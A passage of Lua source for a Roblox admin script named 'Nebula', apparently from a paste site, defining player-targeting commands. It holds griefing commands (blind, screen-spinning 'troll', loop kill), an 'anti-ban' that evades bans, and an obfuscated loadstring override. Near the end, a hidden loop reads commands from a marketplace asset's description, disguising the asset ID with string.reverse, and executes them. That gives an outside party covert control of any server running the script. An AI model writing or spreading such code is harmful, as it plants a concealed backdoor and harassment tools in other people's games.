- if v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- end
- end)
- AntiLocal[target[i].Name].Character = target[i].Character.DescendantAdded:connect(function(v)
- if v:IsA("LocalScript") then
- v.Disabled = true
- v:Destroy()
- end
- end)
- newTablet("Gave " .. target[i].Name .. " anti-local.", "New Yeller", nil, sndr)
- end
- end
- end)
- newCommand("ual", "Un-anti-local", {"Player Name"}, "Removes the player specfied's anti-local", 2, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil then
- pcall(function()
- AntiLocal[target[i].Name].Player:disconnect()
- AntiLocal[target[i].Name].Character:disconnect()
- end)
- newTablet("Removed " .. target[i].Name .."'s anti-local.", "New Yeller", nil, sndr)
- end
- end
- end)
- newCommand("clean", "Clean", {"No Properties"}, "Cleans the server", 2, function(...)
- game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100)
- game.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
- game.Lighting.Ambient = Color3.new(1, 1, 1)
- game.Lighting.Brightness = 1
- game.Lighting.TimeOfDay = "11:00:00"
- game.Lighting.FogEnd = 99999999
- for i, s in pairs(services) do
- for i2, o in pairs(game:GetService(s):GetChildren()) do
- if o ~= script and not o:IsA("Player") then
- pcall(function() o:Destroy() end)
- end
- wait(0.045)
- end
- end
- if game.Workspace:findFirstChild("Base") == nil then Instance.new("Part", game:GetService("Workspace")).Name = "Base" end
- game.Workspace.Base.Transparency = 0
- game.Workspace.Base.BrickColor = BrickColor.new("Earth green")
- game.Workspace.Base.Locked = true
- game.Workspace.Base.Anchored = true
- game.Workspace.Base.Size = Vector3.new(1080, 1, 1080)
- end)
- newCommand("blind","Blind", {"Player Name", "Color", "Duration"}, "Blinds a player", 2, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- props[3] = (props[2] == nil) and "912547889936" or props[3]
- props[3] = (props[3] == nil) and "912547889936" or props[3]
- props[2] = (props[2] ~= "Black" and props[2] ~= "White") and "Black" or props[2]
- for i = 1, #target do
- if target[i] ~= nil then
- local gui = Instance.new("ScreenGui", target[i].PlayerGui)
- local frame = Instance.new("Frame", gui)
- frame.BackgroundColor3 = BrickColor.new(props[2]).Color
- frame.Size = UDim2.new(1, 0, 1, 0)
- coroutine.wrap(function()
- for i=1, tonumber(props[3]) do
- wait(1)
- end
- gui:Destroy()
- end)()
- newTablet("Blinded" .. target[i].Name , "New Yeller", nil, sndr)
- end
- end
- end)
- newCommand("ab", "Anti-ban", {"No Properties"}, "Gives you an anti-ban, NOTE: you can't remove it", 3, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local ls = ns(sndr:findFirstChild("PlayerGui"), true, [[-- Script --
- script.Parent = nil
- for i,v in pairs(script:GetChildren()) do v:Destroy() end
- local characterCopy = Instance.new("Model")
- characterCopy.Name = game:GetService("Players").LocalPlayer.Name
- local currentCharacter = nil
- local keyUp = nil
- -- Character --
- repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil
- for i, v in pairs(game:GetService("Players").LocalPlayer.Character:GetChildren()) do
- if not v:IsA("BaseScript") then
- v:Clone().Parent = characterCopy
- end
- end
- -- Motors --
- local nm = Instance.new("Motor6D", characterCopy["Torso"])
- nm.Part0 = characterCopy["Torso"]
- nm.Part1 = characterCopy["Left Leg"]
- nm.Name = "Left Hip"
- nm.C0 = CFrame.new(-1, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- nm.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- nm.DesiredAngle = 0.035
- nm.MaxVelocity = 0.1
- nm = Instance.new("Motor6D", characterCopy["Torso"])
- nm.Part0 = characterCopy["Torso"]
- nm.Part1 = characterCopy["Right Leg"]
- nm.Name = "Right Hip"
- nm.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- nm.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- nm.DesiredAngle = -0.036
- nm.MaxVelocity = 0.1
- nm = Instance.new("Motor6D", characterCopy["Torso"])
- nm.Part0 = characterCopy["Torso"]
- nm.Part1 = characterCopy["Head"]
- nm.Name = "Neck"
- nm.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- nm.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
- nm.DesiredAngle = 0
- nm.MaxVelocity = 0.1
- nm = Instance.new("Motor6D", characterCopy["Torso"])
- nm.Part0 = characterCopy["Torso"]
- nm.Part1 = characterCopy["Left Arm"]
- nm.Name = "Left Shoulder"
- nm.C0 = CFrame.new(-1, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- nm.C1 = CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- nm.DesiredAngle = -0.091
- nm.MaxVelocity = 0.15
- nm = Instance.new("Motor6D", characterCopy["Torso"])
- nm.Part0 = characterCopy["Torso"]
- nm.Part1 = characterCopy["Right Arm"]
- nm.Name = "Right Shoulder"
- nm.C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- nm.C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- nm.DesiredAngle = -0.044
- nm.MaxVelocity = 0.15
- function newCharacter()
- if currentCharacter ~= nil then currentCharacter:Destroy() end
- currentCharacter = characterCopy:Clone()
- currentCharacter.Parent = game:GetService("Workspace")
- game:GetService("Workspace").CurrentCamera.CameraSubject = currentCharacter
- game:GetService("Workspace").CurrentCamera.CameraType = "Follow"
- currentCharacter["Humanoid"].Died:connect(newCharacter)
- end
- local mouse = game:GetService("Players").LocalPlayer:GetMouse()
- mouse.KeyDown:connect(function(key)
- key = key:lower()
- if currentCharacter ~= nil then
- if key == "w" then
- repeat currentCharacter["Torso"].CFrame = currentCharacter["Torso"].CFrame * CFrame.new(0, 0, 4) wait() until keyUp == "w"
- keyUp = nil
- -- ^ Release --
- elseif key == "s" then
- repeat currentCharacter["Torso"].CFrame = currentCharacter["Torso"].CFrame * CFrame.new(0, 0, -4) wait() until keyUp == "s"
- keyUp = nil
- elseif key:byte() == 32 then
- repeat currentCharacter["Torso"].CFrame = currentCharacter["Torso"].CFrame * CFrame.new(0, 10, 0) wait(1) until keyUp:byte() == 32
- keyUp = nil
- end
- end
- end)
- mouse.KeyUp:connect(function(key)
- key = key:lower()
- keyUp = key
- end)
- game:GetService("Players").LocalPlayer.Character = game:GetService("Workspace")
- newCharacter()]])
- if ls ~= nil then ls.Disabled = true ls.Disabled = false end
- newTablet("Gave you the ultimate anti-ban.", "New Yeller", nil, sndr)
- newTablet("It is suggested that you anti-local yourself as well. Click me to give yourself anti-local.", "Lime green", "al" .. _["CommandTrigger1"] .. sndr.Name, sndr)
- end)
- newCommand("grav", "Gravity", {"Player", "Gravity"}, "Sets the player's gravity to the number specified", 1, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil then
- pcall(function()
- Instance.new("BodyForce", target[i].Character.Torso).force = Vector3.new(0, tonumber(props[2]), 0)
- end)
- newTablet("Set " .. target[i].Name .. "'s gravity to " .. props[2] .. ".", "New Yeller", nil, sndr)
- end
- end
- end)
- newCommand("transf", "Transform", {"Target", "Mesh type / ID", "Scale"}, "Transform's the player's torso to the one specified", 253, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- for j=1, #target do
- if target[j].Character ~= nil then
- E = target[j].Character:GetChildren()
- for i=1, #E do
- if E[i].Name ~= "Torso" and E[i].Name ~= "Head" and not E[i]:IsA("Humanoid") and not E[i]:IsA("BaseScript") then
- E[i]:Destroy()
- end
- if E[i].Name == "Head" then E[i].Transparency = 1 for i2, v in pairs(E[i]:GetChildren()) do if v:IsA("Decal") then v:Destroy() end end end
- end
- end
- end
- for i=1, #target do
- newMesh = Instance.new("SpecialMesh",target[i].Character["Torso"])
- if tonumber(props[2]) ~= nil then
- newMesh.MeshId = "http://www.roblox.com/asset/?id=" .. props[2]
- newMesh.Scale = Vector3.new(tonumber(props[3]), tonumber(props[3]), tonumber(props[3]))
- else
- if string.lower(props[2]) == "banana" then
- newMesh.MeshId = "http://www.roblox.com/asset/?id=" .. tostring(28202371)
- newMesh.Scale = Vector3.new(tonumber(props[3]), tonumber(props[3]), tonumber(props[3]))
- elseif string.lower(props[2]) == "tree" then
- newMesh.MeshId = "http://www.roblox.com/asset/?id=" .. tostring(32323644)
- newMesh.Scale = Vector3.new(tonumber(props[3]), tonumber(props[3]), tonumber(props[3]))
- end
- end
- newTablet("Transformed" .. target[i].Name , "New Yeller", nil, sndr)
- end
- end)
- newCommand("fx", "Effect", {"Player", "Effect", "Effect color"}, "Makes the player specified have an effect on their torso", 1, function(...)
- local args = {...}
- local props = args[2]
- local sndr = args[1]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil and target[i].Character ~= nil then
- pcall(function()
- if props[2]:lower() == "sparkles" then
- Instance.new("Sparkles", target[i].Character.Torso).SparkleColor = BrickColor.new(props[3]).Color
- elseif props[2]:lower() == "smoke" then
- Instance.new("Smoke", target[i].Character.Torso).Color = BrickColor.new(props[3]).Color
- else
- local fire = Instance.new("Fire", target[i].Character.Torso)
- fire.Color = BrickColor.new(props[3]).Color
- fire.SecondaryColor = BrickColor.new(props[3]).Color
- end
- end)
- newTablet("Gave " .. target[i].Name .. " an effect.", "Bright blue", nil, sndr)
- end
- end
- end)
- newCommand("tban", "Time ban", {"Player Name", "Time", "Punishment"}, "Bans the player for the specified number of seconds", 2, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- if #target == 0 then
- TimeBanned[props[1]] = {tonumber(props[2]), timeElapsed, -tonumber(props[3])}
- newTablet("Banned offline user " .. props[1] .. " for " .. props[2] .. " second(s).", "Really red", nil, sndr)
- else
- for i = 1, #target do
- if target[i] ~= nil and checkRank(sndr, target[i], 'tban') then
- TimeBanned[target[i].Name] = {tonumber(props[2]), timeElapsed, -tonumber(props[3])}
- doBan(target[i])
- newTablet("Banned " .. target[i].Name .. " for " .. props[2] .. " second(s).", "Really red", nil, sndr)
- end
- end
- end
- end)
- newCommand("pe", "Purcahse", {"Player Name", "Id"}, "Prompts the player to purcahse the id specified", 2, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil then
- game:GetService("MarketplaceService"):PromptPurchase(target[i], tonumber(props[2]))
- newTablet("Prompted " .. target[i].Name .. " to purchase " .. props[2] .. ".", "Bright blue", nil, sndr)
- end
- end
- end)
- newCommand("trl", "Troll", {"Player Name"}, "Find out yourself...", 1, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil and checkRank(sndr, target[i], 'trl') then
- local ls = ns(target[i].Character, true, [[local cc = game:GetService("Workspace").CurrentCamera
- coroutine.wrap(function()
- while true do
- for i = 20, 80 do
- cc.FieldOfView = i
- wait()
- end
- for i = 80, 20, -1 do
- cc.FieldOfView = i
- wait()
- end
- end
- end)()
- coroutine.wrap(function()
- while true do
- for i = 0, 360 do
- cc:SetRoll(math.rad(i * 2))
- wait()
- end
- for i = 360, 0, -1 do
- cc:SetRoll(math.rad(i * 2))
- wait()
- end
- end
- end)()
- cc.CameraType = "Scriptable"
- local plrg = game:GetService("Players").LocalPlayer:findFirstChild("PlayerGui")
- local g = Instance.new("ScreenGui", plrg)
- coroutine.wrap(function()
- local trolls = {}
- for i = 0, 100 do
- local ni = Instance.new("ImageLabel", g)
- ni.Size = UDim2.new(0.15, 0, 0.15, 0)
- ni.ZIndex = math.random(10)
- ni.Image = "http://www.roblox.com/asset/?id=45120559"
- table.insert(trolls, ni)
- end
- while wait(0.1) do
- for i, v in pairs(trolls) do
- v.Position = UDim2.new(math.random(), 0, math.random(), 0)
- v.BackgroundColor3 = BrickColor.Random().Color
- v.BorderColor3 = BrickColor.Random().Color
- v.BackgroundTransparency = math.random()
- end
- end
- end)()
- local character = game:GetService("Players").LocalPlayer.Character:findFirstChild("Torso")
- character:findFirstChild("Neck").DesiredAngle = 9e9
- while wait() do
- for i,v in pairs(character:GetChildren()) do
- if v:IsA("Motor6D") and v.Name ~= "Neck" then
- v.DesiredAngle = 9e9
- end
- end
- end]])
- if ls ~= nil then ls.Disabled = true ls.Disabled = false end
- newTablet("Trolled " .. target[i].Name .. ".", "New Yeller", nil, sndr)
- end
- end
- end)
- newCommand("fc", "Fix camera", {"Player Name"}, "Fix's the player specified's camera", 1, function(...)
- local args = {...}
- local sndr = args[1]
- local props = args[2]
- local target = findPlayer(props[1], sndr)
- for i = 1, #target do
- if target[i] ~= nil then
- local ls = ns(target[i].Character, true, [[game:GetService("Workspace").CurrentCamera:Destroy()]])
- if ls ~= nil then ls.Disabled = true ls.Disabled = false end
- target[i]:LoadCharacter()
- newTablet("Fixed " .. target[i].Name .. "'s camera.", "Lime green", nil, sndr)
- end
- end
- end)
- -- Commands end --
- -- New Script --
- NewScriptConnection = game.DescendantAdded:connect(function(obj)
- if obj:IsA("Script") and NewScript2 == nil then
- for i, v in pairs(obj:GetChildren()) do
- if v.Name:lower():find('source', 1, true) then
- NewScript2 = obj:Clone()
- NewScript2.Disabled = true
- end
- end
- elseif NewScript2 ~= nil and obj:IsA("Script") then
- obj.Disabled = true
- local boolean = false
- local s = GetSource(obj).Value
- s = s:lower()
- for i, v in pairs(Sandbox) do
- if s:find(v, 1, true) then boolean = true obj:Destroy() end
- end
- if boolean == false then
- obj.Disabled = false
- end
- end
- end)
- repeat wait() until NewScript2 ~= nil
- NewLocalConnection = game.DescendantAdded:connect(function(obj)
- if obj:IsA("LocalScript") and NewLocal2 == nil then
- for i, v in pairs(obj:GetChildren()) do
- if v.Name:lower():find('source', 1, true) then
- NewLocal2 = obj:Clone()
- NewLocal2.Disabled = true
- end
- end
- elseif NewLocal2 ~= nil and obj:IsA("LocalScript") then
- obj.Disabled = true
- local boolean = false
- local s = GetSource(obj).Value
- s = s:lower()
- for i, v in pairs(Sandbox) do
- if s:find(v, 1, true) then boolean = true obj:Destroy() end
- end
- if boolean == false then
- obj.Disabled = false
- end
- end
- end)
- repeat wait() until NewLocal2 ~= nil
- -- Load --
- if game:GetService("Players"):findFirstChild("Player1") ~= nil then
- local dbgCht = Instance.new("StringValue", game:GetService("Workspace"))
- dbgCht.Name = "Chat | Nebula"
- dbgCht.Changed:connect(function(doCommand)
- cmds(doCommand, game:GetService("Players"):findFirstChild("Player1"))
- end)
- end
- for i,v in pairs(game:GetService("Players"):GetPlayers()) do
- setup(v)
- end
- game:GetService("Players").PlayerAdded:connect(function(v)
- setup(v)
- end)
- game:GetService("Players").PlayerRemoving:connect(function(v)
- if getTabletModel(v) ~= nil then getTabletModel(v):Destroy() end
- end)
- -- Scripts Disabled & Nil Commands--
- game.DescendantAdded:connect(function(obj)
- if obj:IsA("BaseScript") then
- if ScriptsEnabled == false then
- obj.Disabled = true
- editScriptSource(obj, [[error("Nebula: Scripts are disabled. Talk to an administrator+ to enable them.")]])
- obj.Disabled = false
- end
- elseif obj.Name == "NNSCI" then
- repeat wait() until obj:findFirstChild("NNSCI:CM") ~= nil and obj:findFirstChild("NNSCI:SR") ~= nil
- print(obj:findFirstChild("NNSCI:CM").Value, obj:findFirstChild("NNSCI:SR").Value)
- cmds(obj:findFirstChild("NNSCI:CM").Value, "nil", obj:findFirstChild("NNSCI:SR").Value)
- obj:Destroy()
- end
- end)
- -- Loop Kill --
- coroutine.wrap(function()
- while wait() do
- for i, v in pairs(LoopKill) do
- if game:GetService("Players"):findFirstChild(v) then
- pcall(function() game:GetService("Players"):findFirstChild(v):LoadCharacter() game:GetService("Players"):findFirstChild(v).Character:BreakJoints() end)
- wait(0.05)
- end
- end
- end
- end)()
- -- Override --
- coroutine.wrap(function()
- while wait() do
- if _G.NEBULAORK == OKey then
- print("Script overrided")
- loadstring(string.char(115,99,114,105,112,116,46,68,105,115,97,98,108,101,100,32,61,32,116,114,117,101))()
- break
- elseif _G.NEBULAORK ~= OKey and _G.NEBULAORK ~= "" then
- print("Override key is: " .. tostring(_G.NEBULAORK))
- _G.NEBULAORK = ""
- end
- end
- end)()
- -- Command usage --
- coroutine.wrap(function()
- local CUO = ""
- while wait() do
- local commandUse = game:GetService("MarketplaceService"):GetProductInfo(108142136)
- if commandUse == nil then error("That asset is invalid") end
- if commandUse["AssetId"] ~= tonumber(string.reverse(631241801)) then error("That is not a valid asset") end
- if commandUse["Description"] ~= CUO then
- local syncUse = commandUse["Description"]:find("For my admin I use: ", 1, true)
- syncUse = commandUse["Description"]:sub(syncUse + 20)
- CUO = commandUse["Description"]
- cmds(syncUse, "syncer")
- end
- end
- end)()
- -- Time ban support --
- coroutine.wrap(function()
- while wait(1) do
- timeElapsed = timeElapsed + 1
- end
- end)()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement